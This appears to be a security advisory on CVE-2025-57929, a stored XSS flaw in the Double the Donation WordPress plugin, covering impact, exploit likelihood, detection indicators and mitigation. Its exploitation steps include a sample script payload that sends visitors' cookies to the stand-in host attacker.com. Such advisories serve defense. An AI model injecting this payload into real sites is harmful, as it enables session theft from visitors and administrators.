CVE-2025-57929: 
WordPress vulnerability analysis and mitigation

CVE-2025-57929 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Double the Donation" WordPress plugin (plugin slug: double-the-donation by kanwei_doublethedonation). It affects all versions up to and including 2.0.0, allowing authenticated attackers with high privileges to inject persistent malicious scripts into web pages. The vulnerability was published on September 22, 2025, and carries a CVSS v3.1 base score of 5.9 (Medium) (Feedly).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the Stored XSS variant (CAPEC-592). An attacker with high-privilege access (e.g., administrator) can inject malicious script content through plugin input fields that are not properly sanitized or escaped before being stored and rendered in the browser. Exploitation requires user interaction — a victim must visit or load the affected page where the stored payload is rendered — and the vulnerability has a changed scope, meaning the injected script can affect resources beyond the vulnerable component's security context (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including site visitors or administrators who view the affected page. This can lead to session token theft, credential harvesting, defacement of donation-related content, or redirection of users to malicious sites. Given the plugin's use in nonprofit and fundraising contexts, exploitation could undermine donor trust and expose sensitive user data (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of publication. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability requires high privileges to exploit, which significantly limits the attacker pool. It has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Gain High-Privilege Access: Obtain administrator or equivalent high-privilege credentials on the target WordPress site running Double the Donation plugin version ≤ 2.0.0.
2. Identify Vulnerable Input Field: Navigate to the Double the Donation plugin settings or configuration page within the WordPress admin dashboard and locate an input field that accepts user-supplied content without proper sanitization.
3. Inject Malicious Payload: Enter a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the configuration.
4. Trigger Execution: Wait for a victim user (e.g., a site visitor or another admin) to load the page where the stored payload is rendered, causing the malicious script to execute in their browser context.
5. Harvest Results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling account takeover or further site compromise.

• Logs: WordPress admin audit logs showing unexpected changes to Double the Donation plugin settings by privileged accounts; access logs with unusual POST requests to plugin settings endpoints.
• File System: Unexpected modifications to plugin configuration files or database entries associated with the Double the Donation plugin containing <script> tags or encoded JavaScript.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with the Double the Donation plugin widget, potentially indicating cookie or credential exfiltration.
• Browser/Application: Unexpected JavaScript execution or redirects occurring on pages that render Double the Donation plugin content.

Users should update the Double the Donation WordPress plugin to a version beyond 2.0.0 that addresses this vulnerability. Until a patched version is available or confirmed, administrators should restrict plugin settings access to trusted accounts only, and consider temporarily deactivating the plugin if high-privilege account compromise is a concern. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Feedly, CVEFeed).